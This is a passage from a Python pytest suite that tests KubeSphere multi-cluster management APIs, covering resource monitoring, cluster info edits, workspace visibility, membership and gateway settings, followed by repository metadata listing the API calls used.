multi_cluster_steps.step_get_node_usage_rank(self.cluster_any_name, sort)\n # 获取结果中的数据类型\n for j in range(0, 15):\n try:\n result_type = r.json()['results'][j]['data']['resultType']\n # 验证数据类型为vector\n assert result_type == 'vector'\n except Exception as e:\n print(e)\n\n @allure.story('监控告警/应用资源')\n @allure.title('查看某个集群资源使用情况')\n @allure.severity(allure.severity_level.CRITICAL)\n def test_get_cluster_resource_usage(self):\n # 获取当前时间的10位时间戳\n now_time = datetime.now()\n now_timestamp = str(datetime.timestamp(now_time))[0:10]\n # 获取1440分钟之前的时间\n before_timestamp = commonFunction.get_before_timestamp(now_time, 1440)\n # 查询最近一天的集群应用资源使用情况\n r = multi_cluster_steps.step_get_resource_usage_of_cluster(self.cluster_any_name, before_timestamp,\n now_timestamp,\n '3600s', '24')\n # 获取结果中的数据类型\n for j in range(0, 3):\n try:\n result_type = r.json()['results'][j]['data']['resultType']\n # 验证数据类型为matrix\n assert result_type == 'matrix'\n except Exception as e:\n print(e)\n\n @allure.story('监控告警/应用资源')\n @allure.title('查看某个集群应用资源用量')\n @allure.severity(allure.severity_level.CRITICAL)\n def test_get_cluster_app_usage(self):\n # 获取当前时间的10位时间戳\n now_time = datetime.now()\n now_timestamp = str(datetime.timestamp(now_time))[0:10]\n # 获取1440分钟之前的时间\n before_timestamp = commonFunction.get_before_timestamp(now_time, 1440)\n # 查询最近一天的集群应用资源使用情况\n r = multi_cluster_steps.step_get_app_usage_of_cluster(self.cluster_any_name, before_timestamp, now_timestamp,\n '3600s', '24')\n # 获取结果中的数据类型\n for j in range(0, 8):\n try:\n result_type = r.json()['results'][j]['data']['resultType']\n # 验证数据类型为matrix\n assert result_type == 'matrix'\n except Exception as e:\n print(e)\n\n @allure.story('监控告警/应有资源')\n @allure.title('查看某个集群项目变化趋势')\n @allure.severity(allure.severity_level.CRITICAL)\n def test_get_cluster_app_usage(self):\n # 获取当前时间的10位时间戳\n now_time = datetime.now()\n now_timestamp = str(datetime.timestamp(now_time))[0:10]\n # 获取1440分钟之前的时间\n before_timestamp = commonFunction.get_before_timestamp(now_time, 1440)\n # 查询最近一天的集群项目变化趋势\n r = multi_cluster_steps.step_get_project_trend_of_cluster(self.cluster_any_name, before_timestamp,\n now_timestamp,\n '3600s', '24')\n # 获取结果中的数据类型\n result_type = r.json()['results'][0]['data']['resultType']\n # 验证数据类型为matrix\n assert result_type == 'matrix'\n\n @allure.story('集群设置/基本信息')\n @allure.title('查看集群基本信息')\n @allure.severity(allure.severity_level.NORMAL)\n def test_get_information(self):\n # 查看host集群的基本信息\n response = multi_cluster_steps.step_get_information(self.cluster_host_name)\n # 获取指标\n metric_name_1 = response.json()['results'][0]['metric_name']\n metric_name_2 = response.json()['results'][1]['metric_name']\n metric_name_3 = response.json()['results'][2]['metric_name']\n metric_name_4 = response.json()['results'][3]['metric_name']\n # 验证指标名称\n metric_name = ['cluster_node_total', 'cluster_disk_size_capacity', 'cluster_memory_total', 'cluster_cpu_total']\n assert metric_name_1 in metric_name\n assert metric_name_2 in metric_name\n assert metric_name_3 in metric_name\n assert metric_name_4 in metric_name\n\n @allure.story('集群设置/基本信息')\n @allure.title('编辑集群基本信息')\n @allure.severity(allure.severity_level.NORMAL)\n def test_edit_information(self):\n # 编辑host集群的基本信息\n group = 'production'\n description = 'test'\n provider = 'QingCloud Kubernetes Engine'\n multi_cluster_steps.step_edit_information(self.cluster_host_name, group, description, provider)\n # 查看集群基本信息\n response = multi_cluster_steps.step_get_base_information(self.cluster_host_name)\n group_actual = response.json()['metadata']['labels']['cluster.kubesphere.io/group']\n description_actual = response.json()['metadata']['annotations']['kubesphere.io/description']\n provider_actual = response.json()['spec']['provider']\n # 验证编辑成功\n assert group == group_actual\n assert description == description_actual\n assert provider == provider_actual\n\n @allure.story('集群设置/集群可见性')\n @allure.title('创建企业空间并验证其集群可见性')\n @allure.severity(allure.severity_level.CRITICAL)\n def test_get_cluster_visibility(self):\n # 创建企业空间，并设置其所在集群为单个集群\n ws_name = 'test-ws' + str(commonFunction.get_random())\n # 获取集群名称\n clusters = multi_workspace_steps.step_get_cluster_name()\n multi_workspace_steps.step_create_multi_ws(ws_name, clusters[0])\n time.sleep(5)\n # 查看集群可见性\n response = multi_cluster_steps.step_get_cluster_visibility(clusters[0])\n # 获取所有已授权的企业空间名称\n ws_names = []\n count = response.json()['totalItems']\n for i in range(0, count):\n name = response.json()['items'][i]['metadata']['name']\n ws_names.append(name)\n # 验证集群可见性\n with pytest.assume:\n assert ws_name in ws_names\n # 删除创建的企业空间\n multi_workspace_steps.step_delete_workspace(ws_name)\n\n @allure.story('集群设置/集群可见性')\n @allure.title('编辑集群可见性/取消企业空间授权')\n @allure.severity(allure.severity_level.CRITICAL)\n def test_unauthorized_cluster_visibility(self):\n # 创建企业空间，其所在集群为host集群\n ws_name = 'test-ws' + str(commonFunction.get_random())\n cluster_name = self.cluster_host_name\n multi_workspace_steps.step_create_multi_ws(ws_name, cluster_name)\n # # 取消企业空间在host集群的授权\n multi_cluster_steps.step_unauthorized_cluster_visibility(self.cluster_host_name, ws_name)\n time.sleep(3)\n # 查看集群可见性\n response = multi_cluster_steps.step_get_cluster_visibility(self.cluster_host_name)\n # 获取所有的企业空间名称\n ws_names = []\n count = response.json()['totalItems']\n for i in range(0, count):\n name = response.json()['items'][i]['metadata']['name']\n ws_names.append(name)\n # 验证授权取消成功\n with pytest.assume:\n assert ws_name not in ws_names\n # 删除创建的企业空间\n multi_workspace_steps.step_delete_workspace(ws_name)\n\n @allure.story('集群设置/集群可见性')\n @allure.title('编辑集群可见性/添加企业空间在集群的授权')\n @allure.severity(allure.severity_level.CRITICAL)\n def test_authorized_cluster_visibility(self):\n # 创建企业空间，不添加集群\n ws_name = 'test-ws' + str(commonFunction.get_random())\n cluster_name = []\n multi_workspace_steps.step_create_multi_ws(ws_name, cluster_name)\n # 添加企业空间在host集群的授权\n multi_cluster_steps.step_authorized_cluster_visibility(self.cluster_host_name, ws_name)\n # 查看集群可见性\n time.sleep(5)\n response = multi_cluster_steps.step_get_cluster_visibility(self.cluster_host_name)\n # 获取所有授权的企业空间名称\n ws_names = []\n count = response.json()['totalItems']\n for i in range(0, count):\n name = response.json()['items'][i]['metadata']['name']\n ws_names.append(name)\n # 验证授权成功\n with pytest.assume:\n assert ws_name in ws_names\n # 删除创建的企业空间\n multi_workspace_steps.step_delete_workspace(ws_name)\n\n @allure.story('集群设置/集群成员')\n @allure.title('查询集群默认成员')\n @allure.severity(allure.severity_level.CRITICAL)\n def test_get_cluster_member_by_name(self):\n # 查询集群所有成员\n response = multi_cluster_steps.step_get_cluster_member(self.cluster_host_name, 'name=admin')\n # 获取集群成员的数量和名称\n count = response.json()['totalItems']\n # 验证查询成功\n assert count == 1\n\n @allure.story('集群设置/集群成员')\n @allure.title('邀请集群成员/移出集群成员')\n @allure.severity(allure.severity_level.CRITICAL)\n def test_get_invite_cluster_member(self):\n # 创建平台用户\n user_name = 'user' + str(commonFunction.get_random())\n role = 'platform-regular'\n email = 'test' + str(commonFunction.get_random()) + '@qq.com'\n password = 'P@88w0rd'\n platform_steps.step_create_user(user_name, role, email, password)\n # 遍历所有集群\n for cluster_name in self.cluster_names:\n # 邀请用户到集群成员\n multi_cluster_steps.step_invite_cluster_member(cluster_name, user_name, 'cluster-viewer')\n # 查询集群成员\n response = multi_cluster_steps.step_get_cluster_member(cluster_name, 'name=' + user_name)\n # 验证集群成员邀请成功\n name = response.json()['items'][0]['metadata']['name']\n with pytest.assume:\n assert name == user_name\n # 将用户从集群成员中移出\n multi_cluster_steps.step_remove_cluster_member(cluster_name, user_name)\n # 查询集群成员，验证移出成功\n re = multi_cluster_steps.step_get_cluster_member(cluster_name, 'name=' + user_name)\n count = re.json()['totalItems']\n with pytest.assume:\n assert count == 0\n # 删除创建的用户\n platform_steps.step_delete_user(user_name)\n\n @allure.story('集群设置/集群角色')\n @allure.title('查看默认的集群角色')\n @allure.severity(allure.severity_level.NORMAL)\n def test_get__cluster_role(self):\n # 遍历所有集群\n for cluster_name in self.cluster_names:\n # 查看集群角色\n response = multi_cluster_steps.step_get_cluster_role(cluster_name)\n count = response.json()['totalItems']\n # 验证角色数量\n assert count == 2\n name_1 = response.json()['items'][0]['metadata']['name']\n name_2 = response.json()['items'][1]['metadata']['name']\n # 验证角色名称\n assert name_1 == 'cluster-viewer'\n assert name_2 == 'cluster-admin'\n\n @allure.story('集群设置/网关设置')\n @allure.title('{title}')\n @allure.severity(allure.severity_level.CRITICAL)\n @pytest.mark.parametrize('type, title',\n [('NodePort', '开启集群网关并设置类型为NodePort'),\n ('LoadBalancer', '开启集群网关并设置类型为LoadBalancer')\n ])\n def test_open_cluster_gateway(self, type, title):\n # 遍历所有集群\n for cluster_name in self.cluster_names:\n # 开启集群网关\n multi_cluster_steps.step_open_cluster_gateway(cluster_name, type)\n # 查看集群网关，并验证网关类型\n response = multi_cluster_steps.step_get_cluster_gateway(cluster_name)\n gateway_type = response.json()[0]['spec']['service']['type']\n with pytest.assume:\n assert gateway_type == type\n # 关闭集群网关\n multi_cluster_steps.step_delete_cluster_gateway(cluster_name)\n time.sleep(10)\n\n @allure.story('集群设置/网关设置')\n @allure.title('修改网关信息')\n @allure.severity(allure.severity_level.CRITICAL)\n def test_edit_cluster_gateway(self):\n # 开启集群网关\n response = multi_cluster_steps.step_open_cluster_gateway(self.cluster_any_name, type='NodePort')\n # 并获取获取uid和resource_version\n uid = response.json()['metadata']['uid']\n resource_version = response.json()['metadata']['resourceVersion']\n # 编辑集群config信息\n config = {\"4\": \"5\"}\n status = 'true'\n multi_cluster_steps.step_edit_cluster_gateway(self.cluster_any_name, uid, resource_version, config, status)\n # 查看集群网关，并获取config信息\n re = multi_cluster_steps.step_get_cluster_gateway(self.cluster_any_name)\n config_actual = re.json()[0]['spec']['controller']['config']\n status_actual = re.json()[0]['spec']['deployment']['annotations']['servicemesh.kubesphere.io/enabled']\n # 验证config信息编辑成功\n with pytest.assume:\n assert config_actual == config\n # 验证集群网关的链路追踪的状态\n with pytest.assume:\n assert status_actual == status\n # 关闭集群网关\n multi_cluster_steps.step_delete_cluster_gateway(self.cluster_any_name)\n time.sleep(10)\n\n @allure.story('集群设置/网关设置')\n @allure.title('在网管设置中查询项目网关')\n @allure.severity(allure.severity_level.CRITICAL)\n def test_get_project_gateway(self):\n # 开启集群网关\n multi_cluster_steps.step_open_cluster_gateway(self.cluster_any_name, type='LoadBalancer')\n # 查询项目网关\n response = multi_cluster_steps.step_get_project_gateway(self.cluster_any_name,\n 'kubesphere-router-kubesphere-system')\n gateway_name = response.json()['items'][0]['metadata']['name']\n # 验证查询结果\n with pytest.assume:\n assert gateway_name == 'kubesphere-router-kubesphere-system'\n # 关闭集群网关\n multi_cluster_steps.step_delete_cluster_gateway(self.cluster_any_name)\n\n\nif __name__ == \"__main__\":\n pytest.main(['-rs', 'testMultiClusterManager.py']) # -s参数是为了显示用例的打印信息 r 显示跳过的原因。 -q参数只显示结果，不显示过程\n", "repo_name": "kubesphere-sigs/Api-AutoTest", "sub_path": "TestCase/test_multiClusterManage.py", "file_name": "test_multiClusterManage.py", "file_ext": "py", "file_size_in_byte": 89378, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "7", "api": [{"api_name": "sys.path.append", "line_number": 11, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 11, "usage_type": "attribute"}, {"api_name": "common.commonFunction.check_multi_cluster", "line_number": 19, "usage_type": "call"}, {"api_name": "common.commonFunction", "line_number": 19, "usage_type": "name"}, {"api_name": "step.multi_cluster_steps.step_get_cluster_name", "line_number": 27, "usage_type": "call"}, {"api_name": "step.multi_cluster_steps", "line_number": 27, "usage_type": "name"}, {"api_name": "step.multi_cluster_steps.step_get_host_cluster_name", "line_number": 29, "usage_type": "call"}, {"api_name": "step.multi_cluster_steps", "line_number": 29, "usage_type": "name"}, {"api_name": "step.multi_cluster_steps.step_get_cluster", "line_number": 31, "usage_type": "call"}, {"api_name": "step.multi_cluster_steps", "line_number": 31, "usage_type": "name"}, {"api_name": "random.randint", "line_number": 34, "usage_type": "call"}, {"api_name": "step.multi_cluster_steps.step_get_cluster_version", "line_number": 44, "usage_type": "call"}, {"api_name": "step.multi_cluster_steps", "line_number": 44, "usage_type": "name"}, {"api_name": "allure.story", "line_number": 38, "usage_type": "call"}, {"api_name": "allure.title", "line_number": 39, "usage_type": "call"}, {"api_name": "allure.severity", "line_number": 40, "usage_type": "call"}, {"api_name": "allure.severity_level", "line_number": 40, "usage_type": "attribute"}, {"api_name": "step.multi_cluster_steps.step_get_cluster_roles", "line_number": 56, "usage_type": "call"}, {"api_name": "step.multi_cluster_steps", "line_number": 56, "usage_type": "name"}, {"api_name": "allure.story", "line_number": 50, "usage_type": "call"}, {"api_name": "allure.title", "line_number": 51, "usage_type": "call"}, {"api_name": "allure.severity", "line_number": 52, "usage_type": "call"}, {"api_name": "allure.severity_level", "line_number": 52, "usage_type": "attribute"}, {"api_name": "step.multi_cluster_steps.step_get_cluster_roles", "line_number": 72, "usage_type": "call"}, {"api_name": "step.multi_cluster_steps", "line_number": 72, "usage_type": "name"}, {"api_name": "allure.story", "line_number": 65, "usage_type": "call"}, {"api_name": "allure.title", "line_number": 66, "usage_type": "call"}, {"api_name": "allure.severity", "line_number": 67, "usage_type": "call"}, {"api_name": "allure.severity_level", "line_number": 67, "usage_type": "attribute"}, {"api_name": "step.multi_cluster_steps.step_get_cluster_namespace", "line_number": 87, "usage_type": "call"}, {"api_name": "step.multi_cluster_steps", "line_number": 87, "usage_type": "name"}, {"api_name": "allure.story", "line_number": 81, "usage_type": "call"}, {"api_name": "allure.title", "line_number": 82, "usage_type": "call"}, {"api_name": "allure.severity", "line_number": 83, "usage_type": "call"}, {"api_name": "allure.severity_level", "line_number": 83, "usage_type": "attribute"}, {"api_name": "step.multi_cluster_steps.step_get_cluster_components", "line_number": 99, "usage_type": "call"}, {"api_name": "step.multi_cluster_steps", "line_number": 99, "usage_type": "name"}, {"api_name": "allure.story", "line_number": 93, "usage_type": "call"}, {"api_name": "allure.title", "line_number": 94, "usage_type": "call"}, {"api_name": "allure.severity", "line_number": 95, "usage_type": "call"}, {"api_name": "allure.severity_level", "line_number": 95, "usage_type": "attribute"}, {"api_name": "step.multi_cluster_steps.step_get_cluster_monitoring_metrics", "line_number": 109, "usage_type": "call"}, {"api_name": "step.multi_cluster_steps", "line_number": 109, "usage_type": "name"}, {"api_name": "allure.story", "line_number": 103, "usage_type": "call"}, {"api_name": "allure.title", "line_number": 104, "usage_type": "call"}, {"api_name": "allure.severity", "line_number": 105, "usage_type": "call"}, {"api_name": "allure.severity_level", "line_number": 105, "usage_type": "attribute"}, {"api_name": "step.multi_cluster_steps.step_get_cluster_apiserver_monitoring_metrics", "line_number": 121, "usage_type": "call"}, {"api_name": "step.multi_cluster_steps", "line_number": 121, "usage_type": "name"}, {"api_name": "allure.story", "line_number": 115, "usage_type": "call"}, {"api_name": "allure.title", "line_number": 116, "usage_type": "call"}, {"api_name": "allure.severity", "line_number": 117, "usage_type": "call"}, {"api_name": "allure.severity_level", "line_number": 117, "usage_type": "attribute"}, {"api_name": "step.multi_cluster_steps.step_get_cluster_scheduler", "line_number": 133, "usage_type": "call"}, {"api_name": "step.multi_cluster_steps", "line_number": 133, "usage_type": "name"}, {"api_name": "allure.story", "line_number": 127, "usage_type": "call"}, {"api_name": "allure.title", "line_number": 128, "usage_type": "call"}, {"api_name": "allure.severity", "line_number": 129, "usage_type": "call"}, {"api_name": "allure.severity_level", "line_number": 129, "usage_type": "attribute"}, {"api_name": "step.multi_cluster_steps.step_get_nodes", "line_number": 147, "usage_type": "call"}, {"api_name": "step.multi_cluster_steps", "line_number": 147, "usage_type": "name"}, {"api_name": "step.multi_cluster_steps.step_ste_taints", "line_number": 150, "usage_type": "call"}, {"api_name": "step.multi_cluster_steps", "line_number": 150, "usage_type": "name"}, {"api_name": "step.multi_cluster_steps.step_get_node_detail_info", "line_number": 152, "usage_type": "call"}, {"api_name": "step.multi_cluster_steps", "line_number": 152, "usage_type": "name"}, {"api_name": "pytest.assume", "line_number": 155, "usage_type": "attribute"}, {"api_name": "step.multi_cluster_steps.step_ste_taints", "line_number": 158, "usage_type": "call"}, {"api_name": "step.multi_cluster_steps", "line_number": 158, "usage_type": "name"}, {"api_name": "allure.story", "line_number": 139, "usage_type": "call"}, {"api_name": "allure.title", "line_number": 140, "usage_type": "call"}, {"api_name": "allure.severity", "line_number": 141, "usage_type": "call"}, {"api_name": "allure.severity_level", "line_number": 141, "usage_type": "attribute"}, {"api_name": "step.multi_cluster_steps.step_get_nodes", "line_number": 166, "usage_type": "call"}, {"api_name": "step.multi_cluster_steps", "line_number": 166, "usage_type": "name"}, {"api_name": "step.multi_cluster_steps.step_get_node_detail_info", "line_number": 169, "usage_type": "call"}, {"api_name": "step.multi_cluster_steps", "line_number": 169, "usage_type": "name"}, {"api_name": "step.multi_cluster_steps.step_add_labels_for_node", "line_number": 175, "usage_type": "call"}, {"api_name": "step.multi_cluster_steps", "line_number": 175, "usage_type": "name"}, {"api_name": "step.multi_cluster_steps.step_get_node_detail_info", "line_number": 177, "usage_type": "call"}, {"api_name": "step.multi_cluster_steps", "line_number": 177, "usage_type": "name"}, {"api_name": "pytest.assume", "line_number": 180, "usage_type": "attribute"}, {"api_name": "step.multi_cluster_steps.step_add_labels_for_node", "line_number": 184, "usage_type": "call"}, {"api_name": "step.multi_cluster_steps", "line_number": 184, "usage_type": "name"}, {"api_name": "allure.story", "line_number": 160, "usage_type": "call"}, {"api_name": "allure.title", "line_number": 161, "usage_type": "call"}, {"api_name": "allure.severity", "line_number": 162, "usage_type": "call"}, {"api_name": "allure.severity_level", "line_number": 162, "usage_type": "attribute"}, {"api_name": "step.multi_cluster_steps.step_get_nodes", "line_number": 192, "usage_type": "call"}, {"api_name": "step.multi_cluster_steps", "line_number": 192, "usage_type": "name"}, {"api_name": "step.multi_cluster_steps.step_cordon_node", "line_number": 195, "usage_type": "call"}, {"api_name": "step.multi_cluster_steps", "line_number": 195, "usage_type": "name"}, {"api_name": "step.multi_cluster_steps.step_get_node_detail_info", "line_number": 197, "usage_type": "call"}, {"api_name": "step.multi_cluster_steps", "line_number": 197, "usage_type": "name"}, {"api_name": "pytest.assume", "line_number": 200, "usage_type": "attribute"}, {"api_name": "step.multi_cluster_steps.step_cordon_node", "line_number": 203, "usage_type": "call"}, {"api_name": "step.multi_cluster_steps", "line_number": 203, "usage_type": "name"}, {"api_name": "allure.story", "line_number": 186, "usage_type": "call"}, {"api_name": "allure.title", "line_number": 187, "usage_type": "call"}, {"api_name": "allure.severity", "line_number": 188, "usage_type": "call"}, {"api_name": "allure.severity_level", "line_number": 188, "usage_type": "attribute"}, {"api_name": "step.multi_cluster_steps.step_get_nodes", "line_number": 211, "usage_type": "call"}, {"api_name": "step.multi_cluster_steps", "line_number": 211, "usage_type": "name"}, {"api_name": "step.multi_cluster_steps.step_get_pod_of_node", "line_number": 214, "usage_type": "call"}, {"api_name": "step.multi_cluster_steps", "line_number": 214, "usage_type": "name"}, {"api_name": "allure.story", "line_number": 205, "usage_type": "call"}, {"api_name": "allure.title", "line_number": 206, "usage_type": "call"}, {"api_name": "allure.severity", "line_number": 207, "usage_type": "call"}, {"api_name": "allure.severity_level", "line_number": 207, "usage_type": "attribute"}, {"api_name": "step.multi_cluster_steps.step_get_nodes", "line_number": 224, "usage_type": "call"}, {"api_name": "step.multi_cluster_steps", "line_number": 224, "usage_type": "name"}, {"api_name": "step.multi_cluster_steps.step_get_event_of_node", "line_number": 227, "usage_type": "call"}, {"api_name": "step.multi_cluster_steps", "line_number": 227, "usage_type": "name"}, {"api_name": "allure.story", "line_number": 218, "usage_type": "call"}, {"api_name": "allure.title", "line_number": 219, "usage_type": "call"}, {"api_name": "allure.severity", "line_number": 220, "usage_type": "call"}, {"api_name": "allure.severity_level", "line_number": 220, "usage_type": "attribute"}, {"api_name": "step.multi_cluster_steps.step_get_nodes", "line_number": 239, "usage_type": "call"}, {"api_name": "step.multi_cluster_steps", "line_number": 239, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 242, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 242, "usage_type": "name"}, {"api_name": "datetime.datetime.timestamp", "line_number": 243, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 243, "usage_type": "name"}, {"api_name": "common.commonFunction.get_before_timestamp", "line_number": 245, "usage_type": "call"}, {"api_name": "common.commonFunction", "line_number": 245, "usage_type": "name"}, {"api_name": "step.multi_cluster_steps.step_get_metrics_of_node", "line_number": 247, "usage_type": "call"}, {"api_name": "step.multi_cluster_steps", "line_number": 247, "usage_type": "name"}, {"api_name": "allure.story", "line_number": 233, "usage_type": "call"}, {"api_name": "allure.title", "line_number": 234, "usage_type": "call"}, {"api_name": "allure.severity", "line_number": 235, "usage_type": "call"}, {"api_name": "allure.severity_level", "line_number": 235, "usage_type": "attribute"}, {"api_name": "step.multi_cluster_steps.step_get_nodes", "line_number": 261, "usage_type": "call"}, {"api_name": "step.multi_cluster_steps", "line_number": 261, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 264, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 264, "usage_type": "name"}, {"api_name": "datetime.datetime.timestamp", "line_number": 265, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 265, "usage_type": "name"}, {"api_name": "common.commonFunction.get_before_timestamp", "line_number": 267, "usage_type": "call"}, {"api_name": "common.commonFunction", "line_number": 267, "usage_type": "name"}, {"api_name": "step.multi_cluster_steps.step_get_status_of_node", "line_number": 269, "usage_type": "call"}, {"api_name": "step.multi_cluster_steps", "line_number": 269, "usage_type": "name"}, {"api_name": "allure.story", "line_number": 256, "usage_type": "call"}, {"api_name": "allure.title", "line_number": 257, "usage_type": "call"}, {"api_name": "allure.severity", "line_number": 258, "usage_type": "call"}, {"api_name": "allure.severity_level", "line_number": 258, "usage_type": "attribute"}, {"api_name": "step.multi_cluster_steps.step_get_nodes", "line_number": 282, "usage_type": "call"}, {"api_name": "step.multi_cluster_steps", "line_number": 282, "usage_type": "name"}, {"api_name": "step.multi_cluster_steps.step_query_pod", "line_number": 286, "usage_type": "call"}, {"api_name": "step.multi_cluster_steps", "line_number": 286, "usage_type": "name"}, {"api_name": "allure.story", "line_number": 277, "usage_type": "call"}, {"api_name": "allure.title", "line_number": 278, "usage_type": "call"}, {"api_name": "allure.severity", "line_number": 279, "usage_type": "call"}, {"api_name": "allure.severity_level", "line_number": 279, "usage_type": "attribute"}, {"api_name": "step.multi_cluster_steps.step_get_nodes", "line_number": 297, "usage_type": "call"}, {"api_name": "step.multi_cluster_steps", "line_number": 297, "usage_type": "name"}, {"api_name": "step.multi_cluster_steps.step_get_pod_of_node", "line_number": 300, "usage_type": "call"}, {"api_name": "step.multi_cluster_steps", "line_number": 300, "usage_type": "name"}, {"api_name": "step.multi_cluster_steps.step_query_pod", "line_number": 303, "usage_type": "call"}, {"api_name": "step.multi_cluster_steps", "line_number": 303, "usage_type": "name"}, {"api_name": "allure.story", "line_number": 292, "usage_type": "call"}, {"api_name": "allure.title", "line_number": 293, "usage_type": "call"}, {"api_name": "allure.severity", "line_number": 294, "usage_type": "call"}, {"api_name": "allure.severity_level", "line_number": 294, "usage_type": "attribute"}, {"api_name": "step.multi_cluster_steps.step_get_nodes", "line_number": 314, "usage_type": "call"}, {"api_name": "step.multi_cluster_steps", "line_number": 314, "usage_type": "name"}, {"api_name": "step.multi_cluster_steps.step_get_pod_of_node", "line_number": 317, "usage_type": "call"}, {"api_name": "step.multi_cluster_steps", "line_number": 317, "usage_type": "name"}, {"api_name": "step.multi_cluster_steps.step_query_pod", "line_number": 321, "usage_type": "call"}, {"api_name": "step.multi_cluster_steps", "line_number": 321, "usage_type": "name"}, {"api_name": "allure.story", "line_number": 309, "usage_type": "call"}, {"api_name": "allure.title", "line_number": 310, "usage_type": "call"}, {"api_name": "allure.severity", "line_number": 311, "usage_type": "call"}, {"api_name": "allure.severity_level", "line_number": 311, "usage_type": "attribute"}, {"api_name": "step.multi_cluster_steps.step_get_edge_nodes", "line_number": 333, "usage_type": "call"}, {"api_name": "step.multi_cluster_steps", "line_number": 333, "usage_type": "name"}, {"api_name": "allure.story", "line_number": 327, "usage_type": "call"}, {"api_name": "allure.title", "line_number": 328, "usage_type": "call"}, {"api_name": "allure.severity", "line_number": 329, "usage_type": "call"}, {"api_name": "allure.severity_level", "line_number": 329, "usage_type": "attribute"}, {"api_name": "pytest.mark.skipif", "line_number": 330, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 330, "usage_type": "attribute"}, {"api_name": "common.commonFunction.get_components_status_of_cluster", "line_number": 330, "usage_type": "call"}, {"api_name": "common.commonFunction", "line_number": 330, "usage_type": "name"}, {"api_name": "step.multi_cluster_steps.step_check_internal_ip", "line_number": 349, "usage_type": "call"}, {"api_name": "step.multi_cluster_steps", "line_number": 349, "usage_type": "name"}, {"api_name": "allure.story", "line_number": 339, "usage_type": "call"}, {"api_name": "allure.title", "line_number": 340, "usage_type": "call"}, {"api_name": "allure.severity", "line_number": 341, "usage_type": "call"}, {"api_name": "allure.severity_level", "line_number": 341, "usage_type": "attribute"}, {"api_name": "pytest.mark.skipif", "line_number": 342, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 342, "usage_type": "attribute"}, {"api_name": "common.commonFunction.get_components_status_of_cluster", "line_number": 342, "usage_type": "call"}, {"api_name": "common.commonFunction", "line_number": 342, "usage_type": "name"}, {"api_name": "pytest.mark.parametrize", "line_number": 343, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 343, "usage_type": "attribute"}, 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"step.multi_cluster_steps.step_get_resource_usage_of_cluster", "line_number": 1398, "usage_type": "call"}, {"api_name": "step.multi_cluster_steps", "line_number": 1398, "usage_type": "name"}, {"api_name": "allure.story", "line_number": 1388, "usage_type": "call"}, {"api_name": "allure.title", "line_number": 1389, "usage_type": "call"}, {"api_name": "allure.severity", "line_number": 1390, "usage_type": "call"}, {"api_name": "allure.severity_level", "line_number": 1390, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 1415, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 1415, "usage_type": "name"}, {"api_name": "datetime.datetime.timestamp", "line_number": 1416, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 1416, "usage_type": "name"}, {"api_name": "common.commonFunction.get_before_timestamp", "line_number": 1418, "usage_type": "call"}, {"api_name": "common.commonFunction", "line_number": 1418, "usage_type": "name"}, {"api_name": "step.multi_cluster_steps.step_get_app_usage_of_cluster", "line_number": 1420, "usage_type": "call"}, {"api_name": "step.multi_cluster_steps", "line_number": 1420, "usage_type": "name"}, {"api_name": "allure.story", "line_number": 1410, "usage_type": "call"}, {"api_name": "allure.title", "line_number": 1411, "usage_type": "call"}, {"api_name": "allure.severity", "line_number": 1412, "usage_type": "call"}, {"api_name": "allure.severity_level", "line_number": 1412, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 1436, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 1436, "usage_type": "name"}, {"api_name": "datetime.datetime.timestamp", "line_number": 1437, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 1437, "usage_type": "name"}, {"api_name": "common.commonFunction.get_before_timestamp", "line_number": 1439, "usage_type": "call"}, {"api_name": "common.commonFunction", "line_number": 1439, "usage_type": "name"}, {"api_name": "step.multi_cluster_steps.step_get_project_trend_of_cluster", "line_number": 1441, "usage_type": "call"}, {"api_name": "step.multi_cluster_steps", "line_number": 1441, "usage_type": "name"}, {"api_name": "allure.story", "line_number": 1431, "usage_type": "call"}, {"api_name": "allure.title", "line_number": 1432, "usage_type": "call"}, {"api_name": "allure.severity", "line_number": 1433, "usage_type": "call"}, {"api_name": "allure.severity_level", "line_number": 1433, "usage_type": "attribute"}, {"api_name": "step.multi_cluster_steps.step_get_information", "line_number": 1454, "usage_type": "call"}, {"api_name": "step.multi_cluster_steps", "line_number": 1454, "usage_type": "name"}, {"api_name": "allure.story", "line_number": 1449, "usage_type": "call"}, {"api_name": "allure.title", "line_number": 1450, "usage_type": "call"}, {"api_name": "allure.severity", "line_number": 1451, "usage_type": "call"}, {"api_name": "allure.severity_level", "line_number": 1451, "usage_type": "attribute"}, {"api_name": "step.multi_cluster_steps.step_edit_information", "line_number": 1475, "usage_type": "call"}, {"api_name": "step.multi_cluster_steps", "line_number": 1475, "usage_type": "name"}, {"api_name": "step.multi_cluster_steps.step_get_base_information", "line_number": 1477, "usage_type": "call"}, {"api_name": "step.multi_cluster_steps", "line_number": 1477, "usage_type": "name"}, {"api_name": "allure.story", "line_number": 1467, "usage_type": "call"}, {"api_name": "allure.title", "line_number": 1468, "usage_type": "call"}, {"api_name": "allure.severity", "line_number": 1469, "usage_type": "call"}, {"api_name": "allure.severity_level", "line_number": 1469, "usage_type": "attribute"}, {"api_name": "common.commonFunction.get_random", "line_number": 1491, "usage_type": "call"}, {"api_name": "common.commonFunction", "line_number": 1491, "usage_type": "name"}, {"api_name": "step.multi_workspace_steps.step_get_cluster_name", "line_number": 1493, "usage_type": "call"}, {"api_name": "step.multi_workspace_steps", "line_number": 1493, "usage_type": "name"}, {"api_name": "step.multi_workspace_steps.step_create_multi_ws", "line_number": 1494, "usage_type": "call"}, {"api_name": "step.multi_workspace_steps", "line_number": 1494, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 1495, "usage_type": "call"}, {"api_name": "step.multi_cluster_steps.step_get_cluster_visibility", "line_number": 1497, "usage_type": 